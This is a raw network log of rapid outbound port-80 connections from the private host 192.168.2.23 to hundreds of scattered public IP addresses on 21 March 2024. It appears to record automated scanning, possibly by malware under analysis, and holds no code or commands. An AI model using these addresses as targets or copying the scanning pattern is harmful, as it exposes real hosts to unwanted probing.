Mar 21, 2024 05:25:10.917439938 CET	9928	80	192.168.2.23	112.3.154.2
Mar 21, 2024 05:25:10.917439938 CET	9928	80	192.168.2.23	112.116.234.24
Mar 21, 2024 05:25:10.917457104 CET	9928	80	192.168.2.23	112.185.12.13
Mar 21, 2024 05:25:10.917481899 CET	9928	80	192.168.2.23	112.148.72.80
Mar 21, 2024 05:25:10.917490959 CET	9928	80	192.168.2.23	112.158.42.247
Mar 21, 2024 05:25:10.917490959 CET	9928	80	192.168.2.23	112.223.123.133
Mar 21, 2024 05:25:10.917496920 CET	9928	80	192.168.2.23	112.132.179.151
Mar 21, 2024 05:25:10.917501926 CET	9928	80	192.168.2.23	112.239.101.181
Mar 21, 2024 05:25:10.917501926 CET	9928	80	192.168.2.23	112.175.209.118
Mar 21, 2024 05:25:10.917504072 CET	9928	80	192.168.2.23	112.183.209.106
Mar 21, 2024 05:25:10.917507887 CET	9928	80	192.168.2.23	112.192.181.152
Mar 21, 2024 05:25:10.917511940 CET	9928	80	192.168.2.23	112.221.193.238
Mar 21, 2024 05:25:10.917514086 CET	9928	80	192.168.2.23	112.89.174.17
Mar 21, 2024 05:25:10.917514086 CET	9928	80	192.168.2.23	112.170.135.223
Mar 21, 2024 05:25:10.917515039 CET	9928	80	192.168.2.23	112.44.55.214
Mar 21, 2024 05:25:10.917517900 CET	9928	80	192.168.2.23	112.229.122.126
Mar 21, 2024 05:25:10.917531967 CET	9928	80	192.168.2.23	112.1.235.102
Mar 21, 2024 05:25:10.917542934 CET	9928	80	192.168.2.23	112.38.187.182
Mar 21, 2024 05:25:10.917550087 CET	9928	80	192.168.2.23	112.50.191.62
Mar 21, 2024 05:25:10.917551041 CET	9928	80	192.168.2.23	112.0.156.236
Mar 21, 2024 05:25:10.917551994 CET	9928	80	192.168.2.23	112.222.8.42
Mar 21, 2024 05:25:10.917556047 CET	9928	80	192.168.2.23	112.62.37.142
Mar 21, 2024 05:25:10.917578936 CET	9928	80	192.168.2.23	112.97.93.105
Mar 21, 2024 05:25:10.917582989 CET	9928	80	192.168.2.23	112.27.208.250
Mar 21, 2024 05:25:10.917586088 CET	9928	80	192.168.2.23	112.186.167.241
Mar 21, 2024 05:25:10.917591095 CET	9928	80	192.168.2.23	112.94.102.233
Mar 21, 2024 05:25:10.917591095 CET	9928	80	192.168.2.23	112.253.183.74
Mar 21, 2024 05:25:10.917593956 CET	9928	80	192.168.2.23	112.64.58.166
Mar 21, 2024 05:25:10.917593956 CET	9928	80	192.168.2.23	112.137.53.194
Mar 21, 2024 05:25:10.917597055 CET	9928	80	192.168.2.23	112.186.175.181
Mar 21, 2024 05:25:10.920128107 CET	9416	80	192.168.2.23	200.239.204.114
Mar 21, 2024 05:25:10.920130014 CET	9416	80	192.168.2.23	178.128.78.185
Mar 21, 2024 05:25:10.920135975 CET	9416	80	192.168.2.23	181.194.94.172
Mar 21, 2024 05:25:10.920139074 CET	9416	80	192.168.2.23	200.183.55.34
Mar 21, 2024 05:25:10.920140982 CET	9416	80	192.168.2.23	178.72.42.18
Mar 21, 2024 05:25:10.920144081 CET	9416	80	192.168.2.23	83.37.25.104
Mar 21, 2024 05:25:10.920144081 CET	9416	80	192.168.2.23	86.124.79.8
Mar 21, 2024 05:25:10.920147896 CET	9416	80	192.168.2.23	83.121.237.9
Mar 21, 2024 05:25:10.920151949 CET	9416	80	192.168.2.23	206.104.68.48
Mar 21, 2024 05:25:10.920166016 CET	9416	80	192.168.2.23	169.255.2.94
Mar 21, 2024 05:25:10.920169115 CET	9416	80	192.168.2.23	181.192.238.156
Mar 21, 2024 05:25:10.920169115 CET	9416	80	192.168.2.23	178.186.31.255
Mar 21, 2024 05:25:10.920171022 CET	9416	80	192.168.2.23	200.187.160.58
Mar 21, 2024 05:25:10.920172930 CET	9416	80	192.168.2.23	169.212.219.247
Mar 21, 2024 05:25:10.920177937 CET	9416	80	192.168.2.23	80.126.224.116
Mar 21, 2024 05:25:10.920177937 CET	9416	80	192.168.2.23	206.9.176.209
Mar 21, 2024 05:25:10.920180082 CET	9416	80	192.168.2.23	86.242.214.33
Mar 21, 2024 05:25:10.920185089 CET	9416	80	192.168.2.23	200.45.207.226
Mar 21, 2024 05:25:10.920190096 CET	9416	80	192.168.2.23	200.14.245.131
Mar 21, 2024 05:25:10.920197010 CET	9416	80	192.168.2.23	86.7.179.151
Mar 21, 2024 05:25:10.920197010 CET	9416	80	192.168.2.23	80.88.155.21
Mar 21, 2024 05:25:10.920197010 CET	9416	80	192.168.2.23	181.86.132.84
Mar 21, 2024 05:25:10.920197010 CET	9416	80	192.168.2.23	206.248.96.2
Mar 21, 2024 05:25:10.920202017 CET	9416	80	192.168.2.23	86.61.90.126
Mar 21, 2024 05:25:10.920207024 CET	9416	80	192.168.2.23	169.255.21.231
Mar 21, 2024 05:25:10.920212030 CET	9416	80	192.168.2.23	86.121.168.142
Mar 21, 2024 05:25:10.920212030 CET	9416	80	192.168.2.23	178.114.129.214
Mar 21, 2024 05:25:10.920226097 CET	9416	80	192.168.2.23	83.18.131.9
Mar 21, 2024 05:25:10.920232058 CET	9416	80	192.168.2.23	86.61.190.235
Mar 21, 2024 05:25:10.920236111 CET	9416	80	192.168.2.23	86.20.52.128
Mar 21, 2024 05:25:10.920244932 CET	9416	80	192.168.2.23	206.29.93.155
Mar 21, 2024 05:25:10.920253038 CET	9416	80	192.168.2.23	181.180.27.130
Mar 21, 2024 05:25:10.920259953 CET	9416	80	192.168.2.23	178.47.115.68
Mar 21, 2024 05:25:10.920259953 CET	9416	80	192.168.2.23	181.241.184.208
Mar 21, 2024 05:25:10.920259953 CET	9416	80	192.168.2.23	200.33.146.71
Mar 21, 2024 05:25:10.920267105 CET	9416	80	192.168.2.23	82.2.81.102
Mar 21, 2024 05:25:10.920267105 CET	9416	80	192.168.2.23	82.195.133.147
Mar 21, 2024 05:25:10.920269966 CET	9416	80	192.168.2.23	86.2.98.200
Mar 21, 2024 05:25:10.920273066 CET	9416	80	192.168.2.23	206.68.85.204
Mar 21, 2024 05:25:10.920273066 CET	9416	80	192.168.2.23	178.67.116.204
Mar 21, 2024 05:25:10.920294046 CET	9416	80	192.168.2.23	213.156.84.204
Mar 21, 2024 05:25:10.920295000 CET	9416	80	192.168.2.23	206.123.162.168
Mar 21, 2024 05:25:10.920303106 CET	9416	80	192.168.2.23	82.60.129.66
Mar 21, 2024 05:25:10.920312881 CET	9416	80	192.168.2.23	80.154.84.215
Mar 21, 2024 05:25:10.920314074 CET	9416	80	192.168.2.23	200.231.146.25
Mar 21, 2024 05:25:10.920312881 CET	9416	80	192.168.2.23	181.246.95.120
Mar 21, 2024 05:25:10.920312881 CET	9416	80	192.168.2.23	213.140.70.38
Mar 21, 2024 05:25:10.920315027 CET	9416	80	192.168.2.23	178.94.150.143
Mar 21, 2024 05:25:10.920324087 CET	9416	80	192.168.2.23	80.196.85.209
Mar 21, 2024 05:25:10.920326948 CET	9416	80	192.168.2.23	178.97.206.207
Mar 21, 2024 05:25:10.920331001 CET	9416	80	192.168.2.23	86.113.82.28
Mar 21, 2024 05:25:10.920331001 CET	9416	80	192.168.2.23	80.200.181.223
Mar 21, 2024 05:25:10.920339108 CET	9416	80	192.168.2.23	200.217.81.249
Mar 21, 2024 05:25:10.920341969 CET	9416	80	192.168.2.23	169.49.107.197
Mar 21, 2024 05:25:10.920342922 CET	9416	80	192.168.2.23	213.244.205.153
Mar 21, 2024 05:25:10.920341969 CET	9416	80	192.168.2.23	83.173.198.78
Mar 21, 2024 05:25:10.920346975 CET	9416	80	192.168.2.23	181.193.28.225
Mar 21, 2024 05:25:10.920347929 CET	9416	80	192.168.2.23	83.167.109.154
Mar 21, 2024 05:25:10.920346975 CET	9416	80	192.168.2.23	200.179.37.1
Mar 21, 2024 05:25:10.920353889 CET	9416	80	192.168.2.23	83.30.124.225
Mar 21, 2024 05:25:10.920353889 CET	9416	80	192.168.2.23	200.118.90.137
Mar 21, 2024 05:25:10.920363903 CET	9416	80	192.168.2.23	206.60.245.90
Mar 21, 2024 05:25:10.920370102 CET	9416	80	192.168.2.23	181.89.194.212
Mar 21, 2024 05:25:10.920377970 CET	9416	80	192.168.2.23	178.7.41.163
Mar 21, 2024 05:25:10.920386076 CET	9416	80	192.168.2.23	86.182.48.227
Mar 21, 2024 05:25:10.920387983 CET	9416	80	192.168.2.23	213.66.246.22
Mar 21, 2024 05:25:10.920387983 CET	9416	80	192.168.2.23	83.7.60.244
Mar 21, 2024 05:25:10.920398951 CET	9416	80	192.168.2.23	181.167.232.229
Mar 21, 2024 05:25:10.920399904 CET	9416	80	192.168.2.23	213.201.83.137
Mar 21, 2024 05:25:10.920407057 CET	9416	80	192.168.2.23	213.206.110.70
Mar 21, 2024 05:25:10.920414925 CET	9416	80	192.168.2.23	213.153.84.169
Mar 21, 2024 05:25:10.920414925 CET	9416	80	192.168.2.23	178.246.96.135
Mar 21, 2024 05:25:10.920432091 CET	9416	80	192.168.2.23	82.188.157.246
Mar 21, 2024 05:25:10.920432091 CET	9416	80	192.168.2.23	200.15.0.112
Mar 21, 2024 05:25:10.920438051 CET	9416	80	192.168.2.23	213.69.27.136
Mar 21, 2024 05:25:10.920438051 CET	9416	80	192.168.2.23	213.6.83.86
Mar 21, 2024 05:25:10.920444012 CET	9416	80	192.168.2.23	181.68.236.126
Mar 21, 2024 05:25:10.920444012 CET	9416	80	192.168.2.23	82.180.114.236
Mar 21, 2024 05:25:10.920448065 CET	9416	80	192.168.2.23	206.80.179.90
Mar 21, 2024 05:25:10.920449972 CET	9416	80	192.168.2.23	86.95.59.133
Mar 21, 2024 05:25:10.920449972 CET	9416	80	192.168.2.23	178.101.86.69
Mar 21, 2024 05:25:10.920469046 CET	9416	80	192.168.2.23	169.4.228.251
Mar 21, 2024 05:25:10.920469999 CET	9416	80	192.168.2.23	206.184.219.126
Mar 21, 2024 05:25:10.920480013 CET	9416	80	192.168.2.23	206.196.97.51
Mar 21, 2024 05:25:10.920484066 CET	9416	80	192.168.2.23	86.191.218.64
Mar 21, 2024 05:25:10.920484066 CET	9416	80	192.168.2.23	200.203.238.82
Mar 21, 2024 05:25:10.920484066 CET	9416	80	192.168.2.23	169.47.160.18
Mar 21, 2024 05:25:10.920489073 CET	9416	80	192.168.2.23	200.164.109.26
Mar 21, 2024 05:25:10.920491934 CET	9416	80	192.168.2.23	213.52.238.125
Mar 21, 2024 05:25:10.920496941 CET	9416	80	192.168.2.23	83.136.243.172
Mar 21, 2024 05:25:10.920496941 CET	9416	80	192.168.2.23	213.107.140.1
Mar 21, 2024 05:25:10.920507908 CET	9416	80	192.168.2.23	181.126.47.234
Mar 21, 2024 05:25:10.920507908 CET	9416	80	192.168.2.23	181.11.112.115
Mar 21, 2024 05:25:10.920507908 CET	9416	80	192.168.2.23	80.220.12.135
Mar 21, 2024 05:25:10.920507908 CET	9416	80	192.168.2.23	200.55.44.139
Mar 21, 2024 05:25:10.920507908 CET	9416	80	192.168.2.23	80.190.58.174
Mar 21, 2024 05:25:10.920517921 CET	9416	80	192.168.2.23	80.47.109.117
Mar 21, 2024 05:25:10.920517921 CET	9416	80	192.168.2.23	169.227.2.60
Mar 21, 2024 05:25:10.920517921 CET	9416	80	192.168.2.23	86.120.138.140
Mar 21, 2024 05:25:10.920520067 CET	9416	80	192.168.2.23	86.127.87.177
Mar 21, 2024 05:25:10.920520067 CET	9416	80	192.168.2.23	86.87.35.238
Mar 21, 2024 05:25:10.920525074 CET	9416	80	192.168.2.23	206.172.195.115
Mar 21, 2024 05:25:10.920525074 CET	9416	80	192.168.2.23	80.136.145.49
Mar 21, 2024 05:25:10.920525074 CET	9416	80	192.168.2.23	83.206.234.204
Mar 21, 2024 05:25:10.920526028 CET	9416	80	192.168.2.23	169.173.221.193
Mar 21, 2024 05:25:10.920526028 CET	9416	80	192.168.2.23	200.34.25.25
Mar 21, 2024 05:25:10.920526028 CET	9416	80	192.168.2.23	169.167.47.159
Mar 21, 2024 05:25:10.920526028 CET	9416	80	192.168.2.23	83.129.48.111
Mar 21, 2024 05:25:10.920526028 CET	9416	80	192.168.2.23	82.102.116.171
Mar 21, 2024 05:25:10.920527935 CET	9416	80	192.168.2.23	83.58.207.164
Mar 21, 2024 05:25:10.920530081 CET	9416	80	192.168.2.23	206.77.157.40
Mar 21, 2024 05:25:10.920535088 CET	9416	80	192.168.2.23	206.60.191.219
Mar 21, 2024 05:25:10.920535088 CET	9416	80	192.168.2.23	80.19.145.137
Mar 21, 2024 05:25:10.920536995 CET	9416	80	192.168.2.23	200.246.3.125
Mar 21, 2024 05:25:10.920557022 CET	9416	80	192.168.2.23	83.1.172.135
Mar 21, 2024 05:25:10.920559883 CET	9416	80	192.168.2.23	206.78.18.112
Mar 21, 2024 05:25:10.920559883 CET	9416	80	192.168.2.23	169.7.4.41
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	169.246.188.83
Mar 21, 2024 05:25:10.920559883 CET	9416	80	192.168.2.23	181.69.178.83
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	80.45.40.22
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	200.130.97.244
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	82.143.31.70
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	82.97.104.206
Mar 21, 2024 05:25:10.920564890 CET	9416	80	192.168.2.23	181.220.174.212
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	181.120.222.87
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	213.52.70.198
Mar 21, 2024 05:25:10.920562029 CET	9416	80	192.168.2.23	181.128.127.252
Mar 21, 2024 05:25:10.920572996 CET	9416	80	192.168.2.23	181.86.138.25
Mar 21, 2024 05:25:10.920583963 CET	9416	80	192.168.2.23	200.80.40.245
Mar 21, 2024 05:25:10.920592070 CET	9416	80	192.168.2.23	178.238.191.141
Mar 21, 2024 05:25:10.920593977 CET	9416	80	192.168.2.23	181.69.20.123
Mar 21, 2024 05:25:10.920597076 CET	9416	80	192.168.2.23	83.80.243.30
Mar 21, 2024 05:25:10.920597076 CET	9416	80	192.168.2.23	80.250.158.81
Mar 21, 2024 05:25:10.920597076 CET	9416	80	192.168.2.23	80.43.135.78
Mar 21, 2024 05:25:10.920597076 CET	9416	80	192.168.2.23	206.135.39.238
Mar 21, 2024 05:25:10.920597076 CET	9416	80	192.168.2.23	200.67.92.122
Mar 21, 2024 05:25:10.920603991 CET	9416	80	192.168.2.23	200.12.141.204
Mar 21, 2024 05:25:10.920614958 CET	9416	80	192.168.2.23	178.47.130.41
Mar 21, 2024 05:25:10.920623064 CET	9416	80	192.168.2.23	206.216.104.48
Mar 21, 2024 05:25:10.920633078 CET	9416	80	192.168.2.23	213.117.79.248
Mar 21, 2024 05:25:10.920634031 CET	9416	80	192.168.2.23	80.213.4.126
Mar 21, 2024 05:25:10.920634031 CET	9416	80	192.168.2.23	82.117.65.115
Mar 21, 2024 05:25:10.920634031 CET	9416	80	192.168.2.23	86.152.220.220
Mar 21, 2024 05:25:10.920641899 CET	9416	80	192.168.2.23	206.35.245.161
Mar 21, 2024 05:25:10.920645952 CET	9416	80	192.168.2.23	206.75.45.98
Mar 21, 2024 05:25:10.920648098 CET	9416	80	192.168.2.23	169.90.202.232
Mar 21, 2024 05:25:10.920654058 CET	9416	80	192.168.2.23	178.167.123.189
Mar 21, 2024 05:25:10.920654058 CET	9416	80	192.168.2.23	82.134.233.25
Mar 21, 2024 05:25:10.920663118 CET	9416	80	192.168.2.23	82.122.221.102
Mar 21, 2024 05:25:10.920666933 CET	9416	80	192.168.2.23	83.140.231.35
Mar 21, 2024 05:25:10.920674086 CET	9416	80	192.168.2.23	169.202.194.11
Mar 21, 2024 05:25:10.920676947 CET	9416	80	192.168.2.23	206.56.127.142
Mar 21, 2024 05:25:10.920680046 CET	9416	80	192.168.2.23	200.107.76.11
Mar 21, 2024 05:25:10.920692921 CET	9416	80	192.168.2.23	178.153.70.255
Mar 21, 2024 05:25:10.920703888 CET	9416	80	192.168.2.23	83.129.52.159
Mar 21, 2024 05:25:10.920710087 CET	9416	80	192.168.2.23	82.14.62.155
Mar 21, 2024 05:25:10.920711994 CET	9416	80	192.168.2.23	80.242.157.112
Mar 21, 2024 05:25:10.920712948 CET	9416	80	192.168.2.23	200.227.4.206
Mar 21, 2024 05:25:10.920712948 CET	9416	80	192.168.2.23	80.136.91.224
Mar 21, 2024 05:25:10.920717001 CET	9416	80	192.168.2.23	83.9.105.149
Mar 21, 2024 05:25:10.920717001 CET	9416	80	192.168.2.23	206.41.252.231
Mar 21, 2024 05:25:10.920721054 CET	9416	80	192.168.2.23	82.179.46.250
Mar 21, 2024 05:25:10.920723915 CET	9416	80	192.168.2.23	213.184.179.229
Mar 21, 2024 05:25:10.920727015 CET	9416	80	192.168.2.23	82.155.148.195
Mar 21, 2024 05:25:10.920746088 CET	9416	80	192.168.2.23	178.223.10.36
Mar 21, 2024 05:25:10.920752048 CET	9416	80	192.168.2.23	213.42.180.206
Mar 21, 2024 05:25:10.920752048 CET	9416	80	192.168.2.23	80.214.126.112
Mar 21, 2024 05:25:10.920753956 CET	9416	80	192.168.2.23	169.156.209.168
Mar 21, 2024 05:25:10.920758009 CET	9416	80	192.168.2.23	169.53.111.240
Mar 21, 2024 05:25:10.920763969 CET	9416	80	192.168.2.23	213.1.164.144
Mar 21, 2024 05:25:10.920763969 CET	9416	80	192.168.2.23	213.247.137.24
Mar 21, 2024 05:25:10.920766115 CET	9416	80	192.168.2.23	200.224.174.89
Mar 21, 2024 05:25:10.920768023 CET	9416	80	192.168.2.23	181.106.142.195
Mar 21, 2024 05:25:10.920777082 CET	9416	80	192.168.2.23	178.40.47.109
Mar 21, 2024 05:25:10.920777082 CET	9416	80	192.168.2.23	80.102.243.224
Mar 21, 2024 05:25:10.920778036 CET	9416	80	192.168.2.23	83.103.140.45
Mar 21, 2024 05:25:10.920778036 CET	9416	80	192.168.2.23	213.233.234.171
Mar 21, 2024 05:25:10.920783997 CET	9416	80	192.168.2.23	181.179.150.179
Mar 21, 2024 05:25:10.920783997 CET	9416	80	192.168.2.23	200.98.63.133
Mar 21, 2024 05:25:10.920783997 CET	9416	80	192.168.2.23	206.88.61.177
Mar 21, 2024 05:25:10.920803070 CET	9416	80	192.168.2.23	80.51.41.34
Mar 21, 2024 05:25:10.920803070 CET	9416	80	192.168.2.23	181.222.125.105
Mar 21, 2024 05:25:10.920809031 CET	9416	80	192.168.2.23	83.103.2.235
Mar 21, 2024 05:25:10.920811892 CET	9416	80	192.168.2.23	213.54.133.62
Mar 21, 2024 05:25:10.920813084 CET	9416	80	192.168.2.23	86.90.171.48
Mar 21, 2024 05:25:10.920813084 CET	9416	80	192.168.2.23	82.65.59.71
Mar 21, 2024 05:25:10.920814991 CET	9416	80	192.168.2.23	80.73.36.217
Mar 21, 2024 05:25:10.920813084 CET	9416	80	192.168.2.23	181.72.61.46
Mar 21, 2024 05:25:10.920825005 CET	9416	80	192.168.2.23	82.181.225.2
Mar 21, 2024 05:25:10.920830011 CET	9416	80	192.168.2.23	206.19.203.14
Mar 21, 2024 05:25:10.920830965 CET	9416	80	192.168.2.23	181.136.182.96
Mar 21, 2024 05:25:10.920835018 CET	9416	80	192.168.2.23	83.125.34.57
Mar 21, 2024 05:25:10.920840025 CET	9416	80	192.168.2.23	178.197.146.65
Mar 21, 2024 05:25:10.920841932 CET	9416	80	192.168.2.23	83.218.172.121
Mar 21, 2024 05:25:10.920841932 CET	9416	80	192.168.2.23	82.188.4.23
Mar 21, 2024 05:25:10.920850039 CET	9416	80	192.168.2.23	82.70.0.247
Mar 21, 2024 05:25:10.920861006 CET	9416	80	192.168.2.23	80.136.80.74
Mar 21, 2024 05:25:10.920861006 CET	9416	80	192.168.2.23	178.15.159.240
Mar 21, 2024 05:25:10.920861959 CET	9416	80	192.168.2.23	82.128.1.234
Mar 21, 2024 05:25:10.920872927 CET	9416	80	192.168.2.23	206.130.87.61
Mar 21, 2024 05:25:10.920875072 CET	9416	80	192.168.2.23	200.177.237.66
Mar 21, 2024 05:25:10.920877934 CET	9416	80	192.168.2.23	213.13.254.116
Mar 21, 2024 05:25:10.920880079 CET	9416	80	192.168.2.23	178.64.208.159
Mar 21, 2024 05:25:10.920892954 CET	9416	80	192.168.2.23	178.238.185.186
Mar 21, 2024 05:25:10.920897007 CET	9416	80	192.168.2.23	178.3.242.121
Mar 21, 2024 05:25:10.920906067 CET	9416	80	192.168.2.23	169.2.176.239
Mar 21, 2024 05:25:10.920906067 CET	9416	80	192.168.2.23	213.216.189.14
Mar 21, 2024 05:25:10.920917034 CET	9416	80	192.168.2.23	82.93.167.175
Mar 21, 2024 05:25:10.920917034 CET	9416	80	192.168.2.23	82.61.9.2
Mar 21, 2024 05:25:10.920918941 CET	9416	80	192.168.2.23	200.237.220.89
Mar 21, 2024 05:25:10.920919895 CET	9416	80	192.168.2.23	82.87.198.14
Mar 21, 2024 05:25:10.920924902 CET	9416	80	192.168.2.23	82.126.244.148
Mar 21, 2024 05:25:10.920927048 CET	9416	80	192.168.2.23	206.169.60.118
Mar 21, 2024 05:25:10.920933962 CET	9416	80	192.168.2.23	181.99.181.71
Mar 21, 2024 05:25:10.920938969 CET	9416	80	192.168.2.23	200.78.231.168
Mar 21, 2024 05:25:10.920941114 CET	9416	80	192.168.2.23	181.223.155.9
Mar 21, 2024 05:25:10.920948982 CET	9416	80	192.168.2.23	178.57.142.247
Mar 21, 2024 05:25:10.920953035 CET	9416	80	192.168.2.23	213.30.90.52
Mar 21, 2024 05:25:10.920960903 CET	9416	80	192.168.2.23	169.9.13.166
Mar 21, 2024 05:25:10.920964003 CET	9416	80	192.168.2.23	178.174.27.61
Mar 21, 2024 05:25:10.920973063 CET	9416	80	192.168.2.23	206.229.161.63
Mar 21, 2024 05:25:10.920974970 CET	9416	80	192.168.2.23	169.32.102.137
Mar 21, 2024 05:25:10.920993090 CET	9416	80	192.168.2.23	83.66.94.17
Mar 21, 2024 05:25:10.920993090 CET	9416	80	192.168.2.23	213.228.217.113
Mar 21, 2024 05:25:10.920998096 CET	9416	80	192.168.2.23	86.153.217.154
Mar 21, 2024 05:25:10.921004057 CET	9416	80	192.168.2.23	169.178.93.128
Mar 21, 2024 05:25:10.921004057 CET	9416	80	192.168.2.23	83.125.215.40
Mar 21, 2024 05:25:10.921015024 CET	9416	80	192.168.2.23	213.135.220.156
Mar 21, 2024 05:25:10.921024084 CET	9416	80	192.168.2.23	206.192.199.235
Mar 21, 2024 05:25:10.921024084 CET	9416	80	192.168.2.23	206.152.191.187
Mar 21, 2024 05:25:10.921025038 CET	9416	80	192.168.2.23	200.199.17.254
Mar 21, 2024 05:25:10.921025991 CET	9416	80	192.168.2.23	86.132.125.225
Mar 21, 2024 05:25:10.921027899 CET	9416	80	192.168.2.23	86.215.164.225
Mar 21, 2024 05:25:10.921030998 CET	9416	80	192.168.2.23	213.236.14.18
Mar 21, 2024 05:25:10.921037912 CET	9416	80	192.168.2.23	181.65.109.138
Mar 21, 2024 05:25:10.921051025 CET	9416	80	192.168.2.23	181.41.219.242
Mar 21, 2024 05:25:10.921052933 CET	9416	80	192.168.2.23	83.198.159.74
Mar 21, 2024 05:25:10.921052933 CET	9416	80	192.168.2.23	213.65.237.93
Mar 21, 2024 05:25:10.921056986 CET	9416	80	192.168.2.23	82.104.169.158
Mar 21, 2024 05:25:10.921073914 CET	9416	80	192.168.2.23	86.67.200.24
Mar 21, 2024 05:25:10.921075106 CET	9416	80	192.168.2.23	82.31.199.165
Mar 21, 2024 05:25:10.921086073 CET	9416	80	192.168.2.23	178.234.63.44
Mar 21, 2024 05:25:10.921086073 CET	9416	80	192.168.2.23	206.211.204.135
Mar 21, 2024 05:25:10.921091080 CET	9416	80	192.168.2.23	200.22.155.84
Mar 21, 2024 05:25:10.921091080 CET	9416	80	192.168.2.23	82.86.206.33
Mar 21, 2024 05:25:10.921097994 CET	9416	80	192.168.2.23	80.218.152.106
Mar 21, 2024 05:25:10.921106100 CET	9416	80	192.168.2.23	169.71.231.73
Mar 21, 2024 05:25:10.921108007 CET	9416	80	192.168.2.23	86.162.26.129
Mar 21, 2024 05:25:10.921111107 CET	9416	80	192.168.2.23	80.213.165.4
Mar 21, 2024 05:25:10.921111107 CET	9416	80	192.168.2.23	169.221.162.52
Mar 21, 2024 05:25:10.921116114 CET	9416	80	192.168.2.23	83.108.236.42
Mar 21, 2024 05:25:10.921118021 CET	9416	80	192.168.2.23	80.108.246.172
Mar 21, 2024 05:25:10.921138048 CET	9416	80	192.168.2.23	83.231.159.19
Mar 21, 2024 05:25:10.921144962 CET	9416	80	192.168.2.23	80.38.131.160
Mar 21, 2024 05:25:10.921144962 CET	9416	80	192.168.2.23	169.58.186.41
Mar 21, 2024 05:25:10.921147108 CET	9416	80	192.168.2.23	169.185.95.189
Mar 21, 2024 05:25:10.921144962 CET	9416	80	192.168.2.23	82.24.238.236
Mar 21, 2024 05:25:10.921149015 CET	9416	80	192.168.2.23	200.137.119.166
Mar 21, 2024 05:25:10.921152115 CET	9416	80	192.168.2.23	213.206.128.248
Mar 21, 2024 05:25:10.921158075 CET	9416	80	192.168.2.23	200.200.48.108
Mar 21, 2024 05:25:10.921158075 CET	9416	80	192.168.2.23	83.21.245.86
Mar 21, 2024 05:25:10.921169996 CET	9416	80	192.168.2.23	82.1.22.204
Mar 21, 2024 05:25:10.921174049 CET	9416	80	192.168.2.23	82.143.183.36
Mar 21, 2024 05:25:10.921178102 CET	9416	80	192.168.2.23	86.78.51.63
Mar 21, 2024 05:25:10.921186924 CET	9416	80	192.168.2.23	213.5.162.234
Mar 21, 2024 05:25:10.921189070 CET	9416	80	192.168.2.23	181.24.111.186
Mar 21, 2024 05:25:10.921195030 CET	9416	80	192.168.2.23	86.2.37.106
Mar 21, 2024 05:25:10.921195030 CET	9416	80	192.168.2.23	200.97.201.236
Mar 21, 2024 05:25:10.921196938 CET	9416	80	192.168.2.23	86.238.116.93
Mar 21, 2024 05:25:10.921209097 CET	9416	80	192.168.2.23	213.154.231.98
Mar 21, 2024 05:25:10.921209097 CET	9416	80	192.168.2.23	169.129.182.11
Mar 21, 2024 05:25:10.921221018 CET	9416	80	192.168.2.23	86.80.26.97
Mar 21, 2024 05:25:10.921224117 CET	9416	80	192.168.2.23	206.19.25.11
Mar 21, 2024 05:25:10.921228886 CET	9416	80	192.168.2.23	169.206.8.25
Mar 21, 2024 05:25:10.921230078 CET	9416	80	192.168.2.23	206.238.24.10
Mar 21, 2024 05:25:10.921230078 CET	9416	80	192.168.2.23	200.58.121.19
Mar 21, 2024 05:25:10.921246052 CET	9416	80	192.168.2.23	82.125.101.255
Mar 21, 2024 05:25:10.921250105 CET	9416	80	192.168.2.23	178.191.174.134
Mar 21, 2024 05:25:10.921252012 CET	9416	80	192.168.2.23	80.39.39.41
Mar 21, 2024 05:25:10.921252012 CET	9416	80	192.168.2.23	80.176.144.142
Mar 21, 2024 05:25:10.921252012 CET	9416	80	192.168.2.23	80.203.149.92
Mar 21, 2024 05:25:10.921258926 CET	9416	80	192.168.2.23	169.3.172.42
Mar 21, 2024 05:25:10.921272993 CET	9416	80	192.168.2.23	169.53.174.82
Mar 21, 2024 05:25:10.921273947 CET	9416	80	192.168.2.23	178.80.119.211
Mar 21, 2024 05:25:10.921276093 CET	9416	80	192.168.2.23	213.97.99.85
Mar 21, 2024 05:25:10.921286106 CET	9416	80	192.168.2.23	206.7.51.38
Mar 21, 2024 05:25:10.921289921 CET	9416	80	192.168.2.23	80.146.179.80
Mar 21, 2024 05:25:10.921300888 CET	9416	80	192.168.2.23	178.83.92.222
Mar 21, 2024 05:25:10.921303034 CET	9416	80	192.168.2.23	200.223.150.169
Mar 21, 2024 05:25:10.921305895 CET	9416	80	192.168.2.23	206.176.0.92
Mar 21, 2024 05:25:10.921313047 CET	9416	80	192.168.2.23	206.112.183.182
Mar 21, 2024 05:25:10.921313047 CET	9416	80	192.168.2.23	178.61.192.12
Mar 21, 2024 05:25:10.921315908 CET	9416	80	192.168.2.23	178.114.35.182
Mar 21, 2024 05:25:10.921320915 CET	9416	80	192.168.2.23	82.68.93.22
Mar 21, 2024 05:25:10.921340942 CET	9416	80	192.168.2.23	200.30.111.72
Mar 21, 2024 05:25:10.921344995 CET	9416	80	192.168.2.23	169.14.248.255
Mar 21, 2024 05:25:10.921344995 CET	9416	80	192.168.2.23	200.43.21.29
Mar 21, 2024 05:25:10.921344995 CET	9416	80	192.168.2.23	213.116.118.221
Mar 21, 2024 05:25:10.921346903 CET	9416	80	192.168.2.23	213.80.96.16
Mar 21, 2024 05:25:10.921351910 CET	9416	80	192.168.2.23	200.6.4.77
Mar 21, 2024 05:25:10.921355009 CET	9416	80	192.168.2.23	83.225.22.148
Mar 21, 2024 05:25:10.921355009 CET	9416	80	192.168.2.23	169.161.107.103
Mar 21, 2024 05:25:10.921356916 CET	9416	80	192.168.2.23	169.230.82.151
Mar 21, 2024 05:25:10.921356916 CET	9416	80	192.168.2.23	200.169.7.158
Mar 21, 2024 05:25:10.921365976 CET	9416	80	192.168.2.23	206.88.117.14
Mar 21, 2024 05:25:10.921366930 CET	9416	80	192.168.2.23	86.99.27.154
Mar 21, 2024 05:25:10.921367884 CET	9416	80	192.168.2.23	82.199.83.231
Mar 21, 2024 05:25:10.921369076 CET	9416	80	192.168.2.23	181.113.179.19
Mar 21, 2024 05:25:10.921367884 CET	9416	80	192.168.2.23	82.10.225.13
Mar 21, 2024 05:25:10.921369076 CET	9416	80	192.168.2.23	86.87.76.45
